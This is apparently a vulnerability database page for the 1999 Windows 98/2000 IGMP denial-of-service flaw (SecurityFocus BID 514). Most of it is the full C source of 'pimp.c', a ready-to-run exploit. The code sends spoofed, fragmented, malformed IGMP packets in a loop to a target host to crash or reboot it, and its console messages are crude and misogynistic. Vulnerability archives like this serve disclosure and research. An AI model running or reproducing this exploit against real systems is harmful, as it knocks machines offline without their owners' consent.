Lucene search
K

Windows 95/98,Windows NT Enterprise Server <= 4.0 SP5,Windows NT Terminal Server <= 4.0 SP4,Windows NT Workstation <= 4.0 SP5 (3)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Windows 98/2000 TCP/IP vulnerability causing system crashes

Code

                                                source: http://www.securityfocus.com/bid/514/info
  
  
The Windows 98 and Windows 2000 TCP/IP stacks were not built to reliably tolerate malformed IGMP headers. When one is received, the stack will sometimes fail with unpredictable results ranging from a Blue Screen to instantaneous reboot. 

/*
** pimp.c 6/4/99 by Rob Mosher: [email protected]
** exploits bug in m$&#39;s ip stack
** rewrite by nyt@EFnet
** bug found by klepto
** usage: pimp &#60;host&#62;
*/

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;time.h&#62;
#include &#60;netdb.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;netinet/in_systm.h&#62;
#include &#60;netinet/ip.h&#62;
#include &#60;sys/socket.h&#62;

struct igmp
{
        unsigned char igmp_type;
        unsigned char igmp_code;
        unsigned short igmp_cksum;
        struct in_addr igmp_group;
};

#define ERROR(a) {printf(&#34;ERROR: %s\n&#34;, a);exit(-1);}

u_long  resolve(char *);

int main(int argc, char *argv[])
{
 int nsock, ctr;
 char *pkt, *data;
 struct ip *nip;
 struct igmp *nigmp;
 struct sockaddr_in s_addr_in;

 setvbuf(stdout, NULL, _IONBF, 0);

 printf(&#34;pimp.c by nyt\n&#34;);

 if(argc != 2)
  ERROR(&#34;usage: pimp &#60;host&#62;&#34;);

 if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  ERROR(&#34;could not create raw socket&#34;);

 pkt = malloc(1500);
 if(!pkt)
  ERROR(&#34;could not allocate memory&#34;);

 memset(&s_addr_in, 0, sizeof(s_addr_in));
 memset(pkt, 0, 1500);

 nip = (struct ip *) pkt;
 nigmp = (struct igmp *) (pkt + sizeof(struct ip));
 data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
 memset(data, &#39;A&#39;, 1500-(sizeof(struct ip) + sizeof(struct igmp)));

 s_addr_in.sin_addr.s_addr = resolve(argv[1]);

 nip-&#62;ip_v  = 4;
nip-&#62;ip_hl  = 5;
 nip-&#62;ip_tos  = 0;
 nip-&#62;ip_id  = 69;
 nip-&#62;ip_ttl  = 255;
 nip-&#62;ip_p  = IPPROTO_IGMP;
 nip-&#62;ip_sum  = 0;
 nip-&#62;ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
 nip-&#62;ip_src.s_addr = 2147100000;
 nigmp-&#62;igmp_type = 2;
 nigmp-&#62;igmp_code = 31;
 nigmp-&#62;igmp_cksum = 0;

 inet_aton(&#34;128.1.1.1&#34;, &nigmp-&#62;igmp_group);

 printf(&#34;pimpin&#39; dem trick-ass-bitches&#34;);

 for(ctr = 0;ctr &#60; 15;ctr++)
 {
  printf(&#34;.&#34;);
  nip-&#62;ip_len  = 1500;
  nip-&#62;ip_off  = htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip-&#62;ip_off  = htons(1480/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip-&#62;ip_off  = htons(5920/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip-&#62;ip_len   = 831;
  nip-&#62;ip_off  = htons(7400/8);
  sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  usleep(500000);
}

 printf(&#34;*slap* *slap* bitch, who yo daddy\n&#34;);
 shutdown(nsock, 2);
 close(nsock);
}

u_long resolve(char *host)
{
        struct hostent *he;
        u_long ret;

        if(!(he = gethostbyname(host)))
        {
                herror(&#34;gethostbyname()&#34;);
                exit(-1);
        }
        memcpy(&ret, he-&#62;h_addr, sizeof(he-&#62;h_addr));
        return ret;
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15